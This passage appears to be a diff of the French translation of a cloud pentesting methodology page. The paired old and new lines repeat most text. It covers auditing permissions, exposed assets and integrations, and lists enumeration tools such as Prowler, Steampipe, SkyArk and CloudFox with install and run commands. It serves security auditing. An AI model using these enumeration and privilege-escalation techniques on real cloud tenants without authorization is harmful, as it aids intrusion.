- Cela vous permettra aussi de trouver rapidement des **misconfigurations** car vous pouvez effectuer la plupart de ces tests avec des **outils automatisés**
- **Services Enumeration**
- Vous ne trouverez probablement pas beaucoup plus de misconfigurations ici si vous avez correctement effectué les benchmark tests, mais vous pourriez en trouver certaines qui n'ont pas été recherchées durant les benchmark tests.
- Cela vous permettra de savoir **ce qui est exactement utilisé** dans le cloud env
- Cela aidera beaucoup pour les prochaines étapes
- **Check exposed assets**
- Ceci peut être fait pendant la section précédente, vous devez **identifier tout ce qui est potentiellement exposé** à Internet d'une manière ou d'une autre et comment y accéder.
- Ici je parle d'**infrastructure exposée manuellement** comme des instances avec des pages web ou d'autres ports exposés, ainsi que d'autres **services gérés cloud qui peuvent être configurés** pour être exposés (tels que DBs ou buckets)
- Ensuite vous devriez vérifier **si cette ressource peut être exposée ou non** (informations confidentielles ? vulnérabilités ? misconfigurations dans le service exposé ?)
- **Check permissions**
- Ici vous devez **déterminer toutes les permissions de chaque role/user** à l'intérieur du cloud et comment elles sont utilisées
- Trop de comptes **hautement privilégiés** (contrôlent tout) ? Clés générées non utilisées ?... La plupart de ces vérifications devraient déjà avoir été faites dans les benchmark tests
- Si le client utilise OpenID, SAML ou une autre **federation** vous devrez peut-être leur demander plus d'**informations** sur **comment chaque rôle est assigné** (ce n'est pas la même chose si le rôle admin est assigné à 1 utilisateur ou à 100)
- Il ne suffit pas de trouver quels utilisateurs ont les permissions **admin** "*:*". Il existe de nombreuses **autres permissions** qui, selon les services utilisés, peuvent être très **sensibles**.
- De plus, il existe des vecteurs de **privesc** potentiels à exploiter en abusant des permissions. Tout cela doit être pris en compte et **autant de chemins de privesc que possible** doivent être rapportés.
- **Check Integrations**
- Il est très probable que des intégrations avec d'autres clouds ou SaaS soient utilisées dans le cloud env.
- Pour les **integrations of the cloud you are auditing** avec d'autres plateformes vous devez notifier **qui a accès pour (ab)user de cette integration** et vous devriez demander **à quel point** l'action effectuée est sensible.\
Par exemple, qui peut écrire dans un bucket AWS dont GCP récupère les données (demandez à quel point l'action est sensible dans GCP lors du traitement de ces données).
- Pour les **integrations inside the cloud you are auditing** provenant de plateformes externes, vous devriez demander **qui a un accès externe pour (ab)user de cette integration** et vérifier comment ces données sont utilisées.\
Par exemple, si un service utilise une image Docker hébergée dans GCR, vous devriez demander qui peut modifier cette image et quelles informations sensibles et quels accès cette image obtiendra lorsqu'elle sera exécutée dans un cloud AWS.
- Cela vous permettra aussi de trouver quelques **mauvaises configurations rapides** car vous pouvez effectuer la plupart de ces tests avec des **outils automatisés**
- **Énumération des services**
- Vous ne trouverez probablement pas beaucoup plus de mauvaises configurations ici si vous avez correctement effectué les tests de benchmark, mais vous pourriez en trouver certaines qui n'étaient pas recherchées lors des tests de benchmark.
- Cela vous permettra de savoir **ce qui est exactement utilisé** dans l'environnement cloud
- Cela aidera beaucoup pour les étapes suivantes
- **Vérifier les ressources exposées**
- Cela peut être fait pendant la section précédente ; vous devez **déterminer tout ce qui est potentiellement exposé** à Internet d'une manière ou d'une autre et comment y accéder.
- Ici je considère **l'infrastructure exposée manuellement** comme des instances avec des pages web ou d'autres ports exposés, et aussi d'autres **services gérés par le cloud qui peuvent être configurés** pour être exposés (comme des DB ou des buckets)
- Ensuite, vous devriez vérifier **si cette ressource peut compromettre la confidentialité ou non** (informations confidentielles ? vulnérabilités ? mauvaises configurations dans le service exposé ?)
- **Vérifier les permissions**
- Ici vous devez **identifier toutes les permissions de chaque rôle/utilisateur** à l'intérieur du cloud et comment elles sont utilisées
- Trop de comptes **hautement privilégiés** (contrôlent tout) ? Clefs générées non utilisées ?... La plupart de ces vérifications devraient déjà avoir été faites dans les tests de benchmark
- Si le client utilise OpenID ou SAML ou une autre fédération vous devrez peut-être leur demander des **informations** supplémentaires sur **comment chaque rôle est attribué** (ce n'est pas la même chose si le rôle admin est attribué à 1 utilisateur ou à 100)
- Il ne suffit pas de trouver quels utilisateurs ont des permissions **admin** "\*:\*". Il existe beaucoup d'**autres permissions** qui, selon les services utilisés, peuvent être très **sensibles**.
- De plus, il existe des **possibles privesc** à exploiter en abusant des permissions. Toutes ces choses doivent être prises en compte et **autant de chemins de privesc que possible** doivent être reportés.
- **Vérifier les intégrations**
- Il est très probable que des **intégrations avec d'autres clouds ou SaaS** soient utilisées dans l'environnement cloud.
- Pour **les intégrations du cloud que vous auditez** avec d'autres plateformes vous devriez notifier **qui a accès pour (ab)user de cette intégration** et vous devriez demander **à quel point l'action effectuée est sensible**.\
Par exemple, qui peut écrire dans un AWS bucket d'où GCP récupère des données (demandez à quel point l'action est sensible dans GCP en traitant ces données).
- Pour **les intégrations dans le cloud que vous auditez** depuis des plateformes externes, vous devriez demander **qui a un accès externe pour (ab)user de cette intégration** et vérifier comment ces données sont utilisées.\
Par exemple, si un service utilise une image Docker hébergée dans GCR, vous devriez demander qui peut la modifier et quelles informations sensibles et quels accès cette image obtiendra lorsqu'elle sera exécutée à l'intérieur d'un cloud AWS.
## Multi-Cloud tools
## Outils multi-cloud
Il existe plusieurs outils pour tester différents environnements cloud. Les étapes d'installation et les liens seront indiqués dans cette section.
Il existe plusieurs outils qui peuvent être utilisés pour tester différents environnements cloud. Les étapes d'installation et les liens seront indiqués dans cette section.
### [PurplePanda](https://github.com/carlospolop/purplepanda)
Un outil pour **identifier les misconfigurations et les privesc path dans les clouds et entre clouds/SaaS.**
Un outil pour **identifier les mauvaises configurations et les chemins de privesc dans les clouds et entre clouds/SaaS.**
{{#tabs }}
{{#tab name="Install" }}
@@ -71,7 +71,7 @@ python3 main.py -e -p google #Enumerate the env
### [Prowler](https://github.com/prowler-cloud/prowler)
Il prend en charge **AWS, GCP & Azure**. Voir comment configurer chaque fournisseur sur [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
Il prend en charge **AWS, GCP & Azure**. Consultez comment configurer chaque fournisseur sur [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)
```bash
# Install
pip install prowler
@@ -194,9 +194,9 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
```
</details>
Pour consulter **d'autres insights GCP** (utile pour énumérer les services), utilisez : [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Pour consulter **d'autres insights GCP** (utile pour énumérer les services) utilisez : [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
Pour consulter le code Terraform GCP : [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
Pour vérifier le code Terraform GCP : [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
Plus de plugins GCP pour Steampipe : [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
{{#endtab }}
@@ -225,9 +225,9 @@ cd steampipe-mod-aws-compliance
steampipe dashboard # To see results in browser
steampipe check all --export=/tmp/output4.json
```
To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
Pour vérifier le code Terraform AWS : [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
Plus de plugins AWS pour Steampipe : [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
{{#endtab }}
{{#endtabs }}
@@ -242,7 +242,7 @@ Nessus propose un scan _**Audit Cloud Infrastructure**_ prenant en charge : AWS,
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
Cloudlist est un **outil multi-cloud pour getting Assets** (Hostnames, IP Addresses) from Cloud Providers.
Cloudlist est un **outil multi-cloud pour obtenir des actifs** (noms d'hôte, adresses IP) à partir de fournisseurs cloud.
{{#tabs }}
{{#tab name="Cloudlist" }}
@@ -265,7 +265,7 @@ cloudlist -config </path/to/config>
### [**cartography**](https://github.com/lyft/cartography)
Cartography est un outil Python qui consolide les ressources d'infrastructure et les relations entre elles dans une vue en graphe intuitive alimentée par une base de données Neo4j.
Cartography est un outil Python qui consolide les ressources d'infrastructure et leurs relations dans une vue en graphe intuitive alimentée par une base de données Neo4j.
{{#tabs }}
{{#tab name="Install" }}
@@ -302,7 +302,7 @@ ghcr.io/lyft/cartography \
### [**starbase**](https://github.com/JupiterOne/starbase)
Starbase collecte les actifs et les relations issus de services et de systèmes, y compris l'infrastructure cloud, les applications SaaS, les contrôles de sécurité, et plus encore, dans une vue graphique intuitive reposant sur la base de données Neo4j.
Starbase collecte les actifs et les relations depuis des services et systèmes, y compris l'infrastructure cloud, les applications SaaS, les contrôles de sécurité, et plus encore, dans une vue graphe intuitive reposant sur la base de données Neo4j.
{{#tabs }}
{{#tab name="Install" }}
@@ -361,7 +361,7 @@ uri: bolt://localhost:7687
### [**SkyArk**](https://github.com/cyberark/SkyArk)
Identifie les utilisateurs les plus privilégiés dans l'environnement AWS ou Azure scanné, y compris les AWS Shadow Admins. Il utilise powershell.
Permet d'identifier les utilisateurs les plus privilégiés dans l'environnement AWS ou Azure scanné, y compris les AWS Shadow Admins. Il utilise powershell.
```bash
Import-Module .\SkyArk.ps1 -force
Start-AzureStealth
@@ -372,12 +372,12 @@ Scan-AzureAdmins
```
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
Un outil pour trouver l'infrastructure, les fichiers et les applications d'une entreprise (cible) chez les principaux fournisseurs cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
Un outil pour trouver l'infrastructure, les fichiers et les applications d'une entreprise (cible) sur les principaux fournisseurs cloud (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode).
### [CloudFox](https://github.com/BishopFox/cloudfox)
- CloudFox est un outil destiné à trouver exploitable attack paths dans l'infrastructure cloud (actuellement seuls AWS & Azure sont pris en charge, GCP à venir).
- C'est un enumeration tool conçu pour compléter le pentesting manuel.
- CloudFox est un outil pour trouver des cheminements d'attaque exploitables dans l'infrastructure cloud (actuellement seuls AWS & Azure sont supportés, GCP à venir).
- C'est un outil d'énumération destiné à compléter le pentesting manuel.
- Il ne crée ni ne modifie aucune donnée dans l'environnement cloud.
### More lists of cloud security tools
@@ -410,13 +410,13 @@ aws-security/
azure-security/
{{#endref}}
### Attack Graph
### Graphe d'attaque
[**Stormspotter** ](https://github.com/Azure/Stormspotter) crée un “attack graph” des ressources d'une Azure subscription. Il permet aux red teams et aux pentesters de visualiser la surface d'attaque et les opportunités de pivot au sein d'un tenant, et donne un coup de pouce à vos défenseurs pour s'orienter rapidement et prioriser la réponse aux incidents.
[**Stormspotter** ](https://github.com/Azure/Stormspotter) crée un « graphe d'attaque » des ressources dans une subscription Azure. Il permet aux red teams et pentesters de visualiser la surface d'attaque et les opportunités de pivot au sein d'un tenant, et permet à vos défenseurs de s'orienter rapidement et de prioriser le travail de réponse aux incidents.
### Office365
Vous avez besoin de **Global Admin** ou au minimum de **Global Admin Reader** (mais notez que Global Admin Reader est un peu limité). Cependant, ces limitations apparaissent dans certains PS modules et peuvent être contournées en accédant aux fonctionnalités **via l'application web**.
Vous avez besoin de **Global Admin** ou au moins de **Global Admin Reader** (notez toutefois que Global Admin Reader est un peu limité). Cependant, ces limitations apparaissent dans certains modules PS et peuvent être contournées en accédant aux fonctionnalités **via l'application web**.
{{#include ../banners/hacktricks-training.md}}